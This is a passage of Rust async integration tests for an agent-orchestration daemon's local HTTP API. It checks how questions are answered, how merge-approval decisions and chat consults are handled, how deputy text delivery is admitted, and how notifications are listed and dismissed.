10385 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10386 state.land_armed_head = None;
10387 state.save_under(fx.home.path()).unwrap();
10388 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10389 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10390 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10391 }
10392
10393 #[tokio::test]
10394 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10395 let fx = Fixture::start().await;
10396 let mut state = obsolete_approval_state();
10397 state.status = RunStatus::Landing;
10398 state.driver_exited = true;
10399 let mut q = Question::new(
10400 state.id.clone(),
10401 crate::land::APPROVAL_NODE.into(),
10402 "land".into(),
10403 "Obsolete approval".into(),
10404 String::new(),
10405 vec!["merge".into(), "hold".into()],
10406 );
10407 state.land_approval = Some(crate::run::LandApproval {
10408 question: q.id.clone(),
10409 head: "head".into(),
10410 });
10411 state.save_under(fx.home.path()).unwrap();
10412 fx.questions().put(&mut q).unwrap();
10413 let mut task = Task::new(
10414 "Owner".into(),
10415 "Original instruction".into(),
10416 state.repo.clone(),
10417 Source::Human,
10418 );
10419 task.runs.push(state.id.clone());
10420 task.status = TaskStatus::Parked;
10421 fx.queue().put(&mut task).unwrap();
10422 state.merge_decision = Some(crate::merge_decision::Decision {
10425 question: q.id.clone(),
10426 target: crate::merge_decision::Target {
10427 pr: state.pr.as_ref().unwrap().url.clone(),
10428 head: "head".into(),
10429 language: "ja".into(),
10430 },
10431 choice: crate::merge_decision::DISMISS.into(),
10432 closed: false,
10433 replacement_run: None,
10434 replacement_pr: None,
10435 });
10436 state.status = RunStatus::Superseded;
10437 state.save_under(fx.home.path()).unwrap();
10438 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10439 let path = format!("/api/questions/{}/answer", q.id);
10440 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10441 let done = fx.queue().get(&task.id).unwrap();
10442 assert_eq!(done.status, TaskStatus::Done);
10443 assert_eq!(done.runs, task.runs);
10444 assert_eq!(done.instruction, task.instruction);
10445 assert!(done.action_applied(&q.id));
10446 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10447 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10448 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10449 }
10450
10451 #[tokio::test]
10452 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10453 let fx = Fixture {
10454 home: TempDir::new().unwrap(),
10455 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10456 };
10457 for choice in [
10458 crate::land::HOLD,
10459 crate::land::REPAIR,
10460 crate::land::APPROVE,
10461 crate::merge_decision::WITHDRAW,
10462 "reimplement:beta",
10463 ] {
10464 let mut q = Question::new(
10465 "old-run".into(),
10466 crate::land::APPROVAL_NODE.into(),
10467 "land".into(),
10468 "Decision".into(),
10469 "Review findings".into(),
10470 vec![
10471 "merge".into(),
10472 "hold".into(),
10473 crate::land::REPAIR.into(),
10474 crate::merge_decision::WITHDRAW.into(),
10475 "reimplement:beta".into(),
10476 ],
10477 );
10478 q.merge_target = Some(crate::merge_decision::Target {
10479 pr: "https://github.com/example/repo/pull/42".into(),
10480 head: "exact-reviewed-head".into(),
10481 language: "ja".into(),
10482 });
10483 q.consult = Some(ask::ChatConsult {
10484 talk: "another-conversation".into(),
10485 at: jiff::Timestamp::now(),
10486 });
10487 fx.questions().put(&mut q).unwrap();
10488 let ui = Arc::new(Ui::new(
10489 fx.queue(),
10490 fx.questions(),
10491 fx.talks(),
10492 fx.runs(),
10493 fx.home.path().into(),
10494 std::path::PathBuf::from("."),
10495 ));
10496 let response = question_answer(
10497 State(ui.clone()),
10498 Path(q.id.clone()),
10499 Ok(Json(NewAnswer {
10500 choice: Some(choice.into()),
10501 text: None,
10502 })),
10503 )
10504 .await
10505 .unwrap();
10506 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10507 let disk = fx.questions().get(&q.id).unwrap();
10508 assert_eq!(disk.merge_target, q.merge_target);
10509 assert_eq!(disk.consult, q.consult);
10510 assert!(
10511 disk.answer_authority.is_none(),
10512 "a direct owner card is its own decision"
10513 );
10514 assert_eq!(disk.resolution().as_deref(), Some(choice));
10515 assert!(
10516 question_answer(
10517 State(ui),
10518 Path(q.id.clone()),
10519 Ok(Json(NewAnswer {
10520 choice: Some("merge".into()),
10521 text: None
10522 }))
10523 )
10524 .await
10525 .is_err(),
10526 "an already settled decision cannot turn into merge approval"
10527 );
10528 }
10529 }
10530
10531 #[tokio::test]
10532 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10533 let fx = Fixture {
10534 home: TempDir::new().unwrap(),
10535 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10536 };
10537 let mut state = crate::land::tests::repair_state(true, true);
10538 state.status = RunStatus::Landing;
10539 state.parked = true;
10540 state.driver_exited = true;
10541 let mut task = Task::new(
10542 "Existing PR owner".into(),
10543 state.instruction.clone(),
10544 state.repo.clone(),
10545 Source::Human,
10546 );
10547 task.runs.push(state.id.clone());
10548 task.status = TaskStatus::Parked;
10549 fx.queue().put(&mut task).unwrap();
10550 let mut q = Question::new(
10551 state.id.clone(),
10552 crate::land::APPROVAL_NODE.into(),
10553 "land".into(),
10554 "Contested merge".into(),
10555 "Original evidence".into(),
10556 vec!["merge".into(), "hold".into()],
10557 );
10558 state.land_approval = Some(crate::run::LandApproval {
10559 question: q.id.clone(),
10560 head: "reviewed-head".into(),
10561 });
10562 state.save_under(fx.home.path()).unwrap();
10563 fx.questions().put(&mut q).unwrap();
10564 task.hold_manual(Some("Pause this PR".into()));
10566 fx.queue().put(&mut task).unwrap();
10567 let ui = Arc::new(Ui::new(
10570 fx.queue(),
10571 fx.questions(),
10572 fx.talks(),
10573 fx.runs(),
10574 fx.home.path().to_path_buf(),
10575 state.repo.clone(),
10576 ));
10577 let response = question_answer(
10578 State(ui),
10579 Path(q.id.clone()),
10580 Ok(Json(NewAnswer {
10581 choice: Some(crate::land::REPAIR.into()),
10582 text: None,
10583 })),
10584 )
10585 .await
10586 .unwrap();
10587 assert_eq!(response.0.question.id, q.id);
10588 let upgraded = fx.questions().get(&q.id).unwrap();
10589 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10590 assert!(upgraded.detail.starts_with("Original evidence"));
10591 let claim = fx.queue().claim(&task.id).unwrap();
10592 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10593 assert!(
10594 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10595 "an existing driver keeps its claim"
10596 );
10597 drop(claim);
10598 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10599 let resumed = fx.queue().get(&task.id).unwrap();
10600 assert_eq!(
10601 resumed
10602 .resume_override
10603 .as_ref()
10604 .unwrap()
10605 .pinned_run
10606 .as_deref(),
10607 Some(state.id.as_str())
10608 );
10609 assert!(resumed.status.runnable());
10610 assert_eq!(resumed.instruction, task.instruction);
10611 assert_eq!(resumed.runs, task.runs);
10612 assert!(resumed.action_applied(&q.id));
10613 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10614 assert_eq!(fx.queue().list().len(), 1);
10615 assert_eq!(
10616 fx.queue().get(&task.id).unwrap().resume_override,
10617 resumed.resume_override
10618 );
10619 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10620 assert!(
10621 disk.merge_repairs.is_empty(),
10622 "only the claimed run driver may execute repair"
10623 );
10624 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10625 }
10626
10627 #[tokio::test]
10628 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10629 let fx = Fixture::start().await;
10630 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10631 let path = format!("/api/questions/{id}/answer");
10632
10633 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10634 assert_eq!(res.status, 200, "{}", res.body);
10635 let body = res.json();
10636 assert_eq!(body["status"], "answered");
10637 assert_eq!(body["answer"]["choice"], "Redis");
10638
10639 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10643 assert_eq!(again.status, 409, "{}", again.body);
10644 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10645 }
10646
10647 #[tokio::test]
10648 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10649 let home = tempfile::tempdir().unwrap();
10650 let ui = delta_test_ui(home.path());
10651 let mut q = Question::new(
10652 "task".into(),
10653 crate::land::APPROVAL_NODE.into(),
10654 "land".into(),
10655 "Explain?".into(),
10656 String::new(),
10657 vec!["hold".into()],
10658 );
10659 q.deputy = Some(ask::Deputy::new("context".into()));
10660 ui.questions.put(&mut q).unwrap();
10661 let mut cfg = stub_config();
10662 cfg.daemon.max_deputies = 0;
10663 let mut status = crate::daemon::Status::new();
10664 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10665 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10666 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10667 let error = question_say(
10668 State(ui.clone()),
10669 Path(q.id.clone()),
10670 Ok(Json(NewSay {
10671 body: "Explain the findings".into(),
10672 })),
10673 )
10674 .await
10675 .unwrap_err();
10676 assert_eq!(
10677 error.text_reason,
10678 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10679 );
10680 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10681
10682 let mut text = Question::new(
10683 "task".into(),
10684 "ask".into(),
10685 "operator".into(),
10686 "Which name?".into(),
10687 String::new(),
10688 vec![],
10689 );
10690 ui.questions.put(&mut text).unwrap();
10691 let Json(view) = question_answer(
10692 State(ui.clone()),
10693 Path(text.id.clone()),
10694 Ok(Json(NewAnswer {
10695 choice: None,
10696 text: Some("chosen name".into()),
10697 })),
10698 )
10699 .await
10700 .unwrap();
10701 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10702 assert!(!ui.questions.get(&text.id).unwrap().status.open());
10703 }
10704
10705 #[tokio::test]
10706 async fn question_text_handler_admission_without_transport() {
10707 let home = tempfile::tempdir().unwrap();
10708 let ui = delta_test_ui(home.path());
10709 let mut q = Question::new(
10710 "task".into(),
10711 crate::land::APPROVAL_NODE.into(),
10712 "land".into(),
10713 "May this PR merge?".into(),
10714 String::new(),
10715 vec!["hold".into()],
10716 );
10717 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10718 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10719 ui.questions.put(&mut q).unwrap();
10720 let say = || {
10721 Ok(Json(NewSay {
10722 body: "Explain the findings".into(),
10723 }))
10724 };
10725 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10726 .await
10727 .unwrap_err();
10728 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10729 let response = rejected.into_response();
10730 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10731 .await
10732 .unwrap();
10733 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10734 assert_eq!(body["code"], "question_text_unavailable");
10735 assert_eq!(body["reason"], "deputy_exhausted");
10736 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10737 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10738 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10739 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10740 .await
10741 .unwrap();
10742 assert_eq!(view.text_delivery.state, "live");
10743 assert!(view.question.waiter.is_none());
10744 assert!(view.question.cwd.is_none());
10745 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10746 ui.questions.drop_lease(&q.id);
10747 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10748 .await
10749 .unwrap_err();
10750 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10751 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10752 let _ = question_answer(
10753 State(ui.clone()),
10754 Path(q.id.clone()),
10755 Ok(Json(NewAnswer {
10756 choice: Some("hold".into()),
10757 text: None,
10758 })),
10759 )
10760 .await
10761 .unwrap();
10762 assert_eq!(
10763 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10764 Some("hold")
10765 );
10766 }
10767
10768 #[tokio::test]
10769 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10770 let fx = Fixture::start().await;
10771 let store = fx.questions();
10772 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10773 store
10774 .update(&id, |q| {
10775 q.node = crate::land::APPROVAL_NODE.to_owned();
10776 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10777 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10778 Ok(())
10779 })
10780 .unwrap();
10781 let path = format!("/api/questions/{id}/say");
10782 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10783 assert_eq!(refused.status, 422, "{}", refused.body);
10784 assert!(
10785 refused.json()["error"]
10786 .as_str()
10787 .unwrap()
10788 .contains("deputy_exhausted")
10789 );
10790 assert!(store.get(&id).unwrap().thread.is_empty());
10791
10792 store.beat(&id, ask::WaiterKind::Deputy);
10794 let view = fx.get("/api/questions").await.json();
10795 assert_eq!(view[0]["text_delivery"]["state"], "live");
10796 let accepted = fx
10797 .post(&path, Some(r#"{"body":"explain the findings"}"#))
10798 .await;
10799 assert_eq!(accepted.status, 200, "{}", accepted.body);
10800 let before = std::fs::read(store.path_of(&id)).unwrap();
10801
10802 store.drop_lease(&id);
10805 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10806 assert_eq!(refused.status, 422, "{}", refused.body);
10807 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10808 let held = fx
10809 .post(
10810 &format!("/api/questions/{id}/answer"),
10811 Some(r#"{"choice":"hold"}"#),
10812 )
10813 .await;
10814 assert_eq!(held.status, 200, "{}", held.body);
10815 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10816 }
10817
10818 #[tokio::test]
10819 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10820 let repo = tempfile::tempdir().unwrap();
10821 let mut cfg = stub_config();
10822 cfg.daemon.max_deputies = 0;
10823 std::fs::write(
10824 repo.path().join("magi.toml"),
10825 toml::to_string(&cfg).unwrap(),
10826 )
10827 .unwrap();
10828 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10829 let mut status = crate::daemon::Status::new();
10830 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10831 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10832 let id = ask(&fx, "Explain?", &["hold"]);
10833 fx.questions()
10834 .update(&id, |q| {
10835 q.node = crate::land::APPROVAL_NODE.into();
10836 q.deputy = Some(ask::Deputy::new("context".into()));
10837 q.deputy.as_mut().unwrap().agent = "stub".into();
10838 Ok(())
10839 })
10840 .unwrap();
10841 cfg.daemon.max_deputies = 1;
10842 std::fs::write(
10843 repo.path().join("magi.toml"),
10844 toml::to_string(&cfg).unwrap(),
10845 )
10846 .unwrap();
10847 let view = fx.get("/api/questions").await.json();
10848 assert_eq!(view[0]["deputies_enabled"], true);
10849 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
10850 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
10851 let res = fx
10852 .post(
10853 &format!("/api/questions/{id}/say"),
10854 Some(r#"{"body":"Please explain"}"#),
10855 )
10856 .await;
10857 assert_eq!(res.status, 422, "{}", res.body);
10858 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
10859 }
10860
10861 #[tokio::test]
10862 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
10863 let fx = Fixture::start().await;
10864 let id = ask(&fx, "No seat", &[]);
10865 let store = fx.questions();
10866 let before = std::fs::read(store.path_of(&id)).unwrap();
10867 let res = fx
10868 .post(
10869 &format!("/api/questions/{id}/say"),
10870 Some(r#"{"body":"hello"}"#),
10871 )
10872 .await;
10873 assert_eq!(res.status, 422, "{}", res.body);
10874 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10875 let res = fx
10876 .post(
10877 &format!("/api/questions/{id}/answer"),
10878 Some(r#"{"text":"hello"}"#),
10879 )
10880 .await;
10881 assert_eq!(res.status, 200, "{}", res.body);
10882 assert_eq!(
10883 store.get(&id).unwrap().resolution().as_deref(),
10884 Some("hello")
10885 );
10886 }
10887
10888 #[tokio::test]
10889 async fn saying_something_appends_a_turn_without_answering() {
10890 let fx = Fixture::start().await;
10891 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10892 fx.questions().beat(&id, ask::WaiterKind::Asker);
10893 let path = format!("/api/questions/{id}/say");
10894
10895 let res = fx
10896 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10897 .await;
10898 assert_eq!(res.status, 200, "{}", res.body);
10899 let body = res.json();
10900 assert_eq!(body["status"], "open", "talking back is not a decision");
10901 assert_eq!(body["answer"], Value::Null);
10902 assert_eq!(body["thread"][0]["who"], "operator");
10903 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10904 assert_eq!(body["waiting_on_agent"], true);
10905 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10907 }
10908
10909 #[tokio::test]
10910 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10911 let fx = Fixture::start().await;
10912 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10913
10914 let list = fx.get("/api/questions").await.json();
10915 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10916
10917 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10918 assert_eq!(res.status, 409, "{}", res.body);
10919 let q = fx.questions().get(&id).unwrap();
10920 assert!(q.status.open());
10921 assert!(q.consult.is_none());
10922 }
10923
10924 #[tokio::test]
10925 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10926 let fx = Fixture::start().await;
10927 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10928 let cfg = Config {
10929 agents: vec![crate::config::AgentSpec {
10930 id: "mock".to_owned(),
10931 kind: crate::config::AgentKind::Command,
10932 model: None,
10933 command: vec!["true".to_owned()],
10934 extra_args: Vec::new(),
10935 env: Default::default(),
10936 prompt_delivery: None,
10937 }],
10938 ..Config::default()
10939 };
10940 let talk = crate::talk::begin(
10941 &fx.talks(),
10942 &cfg,
10943 fx.home.path().to_path_buf(),
10944 Some("mock"),
10945 )
10946 .unwrap();
10947 let mut task = Task::new(
10948 "t".to_owned(),
10949 "Do it".to_owned(),
10950 PathBuf::from("/repo/magi"),
10951 Source::Agent {
10952 run: talk.id.clone(),
10953 node: crate::queue::CHAT_NODE.to_owned(),
10954 },
10955 );
10956 task.start("20260902-000000-beef".to_owned());
10957 fx.queue().put(&mut task).unwrap();
10958
10959 let list = fx.get("/api/questions").await.json();
10960 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10961 assert_eq!(
10962 list[0]["choices"],
10963 serde_json::json!(["SQLite", "Redis"]),
10964 "the hand-over is never a choice"
10965 );
10966 fx.questions()
10967 .update(&id, |q| {
10968 q.node = crate::land::APPROVAL_NODE.into();
10969 q.choices = vec!["merge".into(), "hold".into()];
10970 Ok(())
10971 })
10972 .unwrap();
10973 let list = fx.get("/api/questions").await.json();
10974 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10975 assert_eq!(list[0]["can_consult_chat"], true);
10976 fx.questions()
10977 .update(&id, |q| {
10978 q.node = crate::bump::NOTICE_NODE.into();
10979 Ok(())
10980 })
10981 .unwrap();
10982 let list = fx.get("/api/questions").await.json();
10983 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10984 assert_eq!(list[0]["can_consult_chat"], false);
10985 }
10986
10987 #[tokio::test]
10988 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10989 let fx = Fixture::start().await;
10990 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10991 fx.questions()
10992 .update(&id, |q| {
10993 q.node = crate::land::APPROVAL_NODE.into();
10994 q.choices = vec!["merge".into(), "hold".into()];
10995 Ok(())
10996 })
10997 .unwrap();
10998 let cfg = Config {
10999 agents: vec![crate::config::AgentSpec {
11000 id: "mock".to_owned(),
11001 kind: crate::config::AgentKind::Command,
11002 model: None,
11003 command: vec!["true".to_owned()],
11004 extra_args: Vec::new(),
11005 env: Default::default(),
11006 prompt_delivery: None,
11007 }],
11008 ..Config::default()
11009 };
11010 let repo = fx.home.path().join("chat-repo");
11012 std::fs::create_dir_all(&repo).unwrap();
11013 let toml = repo.join("magi.toml");
11014 std::fs::write(&toml, "this is = = not toml").unwrap();
11015 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11016 let mut task = Task::new(
11017 "t".to_owned(),
11018 "Do it".to_owned(),
11019 PathBuf::from("/repo/magi"),
11020 Source::Agent {
11021 run: talk.id.clone(),
11022 node: crate::queue::CHAT_NODE.to_owned(),
11023 },
11024 );
11025 task.start("20260902-000000-beef".to_owned());
11026 fx.queue().put(&mut task).unwrap();
11027
11028 let path = format!("/api/questions/{id}/consult");
11029 let res = fx.post(&path, None).await;
11030 assert!(res.status >= 400, "{}", res.body);
11031 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11032 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11033
11034 std::fs::write(&toml, "").unwrap();
11035 let res = fx.post(&path, None).await;
11036 assert_eq!(res.status, 202, "{}", res.body);
11037 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11038 let q = fx.questions().get(&id).unwrap();
11039 assert!(q.status.open());
11040 assert!(q.answer.is_none());
11041 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11042 assert_eq!(res.json()["can_consult_chat"], true);
11043 let list = fx.get("/api/questions").await.json();
11044 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11045 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11046
11047 let res = fx
11048 .post(
11049 &format!("/api/questions/{id}/answer"),
11050 Some(r#"{"choice":"hold"}"#),
11051 )
11052 .await;
11053 assert_eq!(res.status, 200, "{}", res.body);
11054 assert_eq!(res.json()["answer"]["choice"], "hold");
11055 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11056 assert_eq!(res.json()["can_consult_chat"], false);
11057 assert_eq!(fx.post(&path, None).await.status, 409);
11058
11059 let mut talk = fx.talks().get(&talk.id).unwrap();
11060 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11061 let list = fx.get("/api/questions").await.json();
11062 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11063 assert_eq!(list[0]["origin_chat_closed"], true);
11064 assert_eq!(list[0]["can_consult_chat"], false);
11065
11066 fx.talks().remove(&talk.id).unwrap();
11067 let list = fx.get("/api/questions").await.json();
11068 assert_eq!(list[0]["origin_chat"], Value::Null);
11069 assert_eq!(list[0]["origin_chat_closed"], false);
11070 assert_eq!(list[0]["can_consult_chat"], false);
11071 }
11072
11073 #[tokio::test]
11074 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11075 let fx = Fixture::start().await;
11076 let store = fx.questions();
11077 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11078 store.beat(&id, ask::WaiterKind::Asker);
11079 assert_eq!(
11080 fx.get("/api/health").await.json()["questions_needs_owner"],
11081 1
11082 );
11083
11084 let res = fx
11090 .post(
11091 &format!("/api/questions/{id}/say"),
11092 Some(r#"{"body":"why not Postgres?"}"#),
11093 )
11094 .await;
11095 assert_eq!(res.status, 200, "{}", res.body);
11096 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11097 assert_eq!(
11098 fx.get("/api/health").await.json()["questions_needs_owner"],
11099 0,
11100 "waiting on the agent is not waiting on the owner"
11101 );
11102
11103 let mut q = store.get(&id).expect("get");
11107 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11108 .expect("reply");
11109 store.put(&mut q).expect("put");
11110 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11111 assert_eq!(
11112 fx.get("/api/health").await.json()["questions_needs_owner"],
11113 1,
11114 "the agent's reply is what should light the banner back up"
11115 );
11116 }
11117
11118 #[tokio::test]
11119 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11120 let fx = Fixture::start().await;
11121 let store = fx.questions();
11122
11123 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11124 let res = fx
11125 .post(
11126 &format!("/api/questions/{empty_id}/say"),
11127 Some(r#"{"body":" "}"#),
11128 )
11129 .await;
11130 assert_eq!(res.status, 400, "{}", res.body);
11131
11132 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11133 let mut answered = store.get(&answered_id).expect("get");
11134 answered
11135 .answer(Answer::Choice("SQLite".to_owned()))
11136 .expect("answer");
11137 store.put(&mut answered).expect("put");
11138 let res = fx
11139 .post(
11140 &format!("/api/questions/{answered_id}/say"),
11141 Some(r#"{"body":"still there?"}"#),
11142 )
11143 .await;
11144 assert_eq!(res.status, 409, "{}", res.body);
11145
11146 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11147 let mut abandoned = store.get(&abandoned_id).expect("get");
11148 abandoned.abandon("timed out");
11149 store.put(&mut abandoned).expect("put");
11150 let res = fx
11151 .post(
11152 &format!("/api/questions/{abandoned_id}/say"),
11153 Some(r#"{"body":"still there?"}"#),
11154 )
11155 .await;
11156 assert_eq!(res.status, 409, "{}", res.body);
11157 }
11158
11159 #[tokio::test]
11160 async fn an_answer_the_question_does_not_offer_is_refused() {
11161 let fx = Fixture::start().await;
11162 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11163 let path = format!("/api/questions/{id}/answer");
11164
11165 for body in [
11166 r#"{"choice":"Postgres"}"#,
11167 r#"{"text":"whatever you think"}"#,
11168 r#"{"choice":"Redis","text":"both"}"#,
11169 r#"{}"#,
11170 ] {
11171 let res = fx.post(&path, Some(body)).await;
11172 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11173 assert!(res.json()["error"].is_string(), "{}", res.body);
11174 }
11175 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11177 }
11178
11179 #[tokio::test]
11180 async fn a_free_text_question_takes_text_and_not_a_choice() {
11181 let fx = Fixture::start().await;
11182 let id = ask(&fx, "What should the flag be called?", &[]);
11183 fx.questions().beat(&id, ask::WaiterKind::Asker);
11184 let path = format!("/api/questions/{id}/answer");
11185
11186 assert_eq!(
11187 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11188 400
11189 );
11190 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11191 assert_eq!(res.status, 200, "{}", res.body);
11192 assert_eq!(res.json()["answer"]["text"], "--json");
11193 }
11194
11195 #[tokio::test]
11196 async fn an_unknown_question_is_a_json_404() {
11197 let fx = Fixture::start().await;
11198 let res = fx
11199 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11200 .await;
11201 assert_eq!(res.status, 404, "{}", res.body);
11202 assert!(res.json()["error"].is_string());
11203 }
11204
11205 #[tokio::test]
11206 async fn notifications_list_read_dismiss_and_health_agree() {
11207 let fx = Fixture::start().await;
11208 let store = Notices::at(fx.home.path().join("notifications"));
11209 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11210 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11211
11212 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11213 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11214
11215 store
11216 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11217 .unwrap();
11218 let health = fx.get("/api/health").await.json();
11219 assert_eq!(health["notifications_unread"], 2);
11220 assert_ne!(
11221 health["notifications_rev"], rev0,
11222 "the badge must move live"
11223 );
11224
11225 let listed = fx.get("/api/notifications").await.json();
11226 assert_eq!(listed["unread"], 2);
11227 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11228 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11229
11230 let read = fx
11231 .post(&format!("/api/notifications/{}/read", a.id), None)
11232 .await;
11233 assert_eq!(read.status, 200, "{}", read.body);
11234 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11235
11236 let gone = fx
11237 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11238 .await;
11239 assert_eq!(gone.status, 200, "{}", gone.body);
11240 let listed = fx.get("/api/notifications").await.json();
11241 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11242 assert_eq!(listed["unread"], 0);
11243
11244 store.raise(Notice::info("x", "again")).unwrap();
11245 let all = fx.post("/api/notifications/read-all", None).await;
11246 assert_eq!(all.status, 200, "{}", all.body);
11247 assert_eq!(all.json()["marked"], 1);
11248 assert_eq!(
11249 fx.get("/api/health").await.json()["notifications_unread"],
11250 0
11251 );
11252
11253 let missing = fx.post("/api/notifications/nope/read", None).await;
11254 assert_eq!(missing.status, 404, "{}", missing.body);
11255 assert!(missing.json()["error"].is_string());
11256 }
11257
11258 #[tokio::test]
11265 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11266 let f = Fixture::start().await;
11267
11268 let res = f
11269 .post(
11270 "/api/queue",
11271 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11272 )
11273 .await;
11274
11275 assert_eq!(
11276 res.status, 405,
11277 "POST /api/queue must not be a route: {}",
